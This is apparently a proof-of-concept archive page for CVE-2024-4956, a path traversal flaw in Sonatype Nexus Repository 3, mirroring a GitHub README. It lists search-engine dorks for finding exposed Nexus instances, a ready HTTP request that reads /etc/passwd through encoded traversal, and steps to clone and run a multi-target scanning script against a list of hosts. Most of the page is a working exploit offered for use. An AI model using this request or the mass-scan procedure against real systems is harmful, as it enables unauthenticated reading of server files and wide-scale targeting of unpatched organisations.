Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-4956 PoC — Nexus Repository 3 - Path Traversal

Source
Associated Vulnerability
Title:Nexus Repository 3 - Path Traversal (CVE-2024-4956)
Description:Path Traversal in Sonatype Nexus Repository 3 allows an unauthenticated attacker to read system files. Fixed in version 3.68.1.
Description
CVE-2024-4956 : Nexus Repository Manager 3 poc exploit
Readme
# # CVE-2024-4956 : Nexus Repository Manager 3

Dork:

- Shodan:http.html:"Nexus Repository"
  
- Hunter:product.name="Nexus Repository"
  
- FOFA:app="Nexus-Repository-Manager"

Poc :

```
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
```


![1](https://github.com/GoatSecurity/CVE-2024-4956/assets/153397256/610e851b-2c77-4aa1-9fd2-bd8ffcfae264)

  

Or you can use this python script for multi scan :

!Put your targets in targets.txt

```
git clone https://github.com/GoatSecurity/CVE-2024-4956.git
cd CVE-2024-4956
pip install -r requirements.txt
python scan.py
```
![Screenshot](https://github.com/GoatSecurity/CVE-2024-4956/assets/153397256/3b939643-a388-4fe3-8922-4c49b6236b84)

File Snapshot

[4.0K] /data/pocs/df7cc66d2fa0978fdf1dbb8ad6dbab52c411ea7e ├── [1003] README.md ├── [ 18] requirements.txt ├── [1.8K] scan.py └── [ 1] targets.txt 0 directories, 4 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →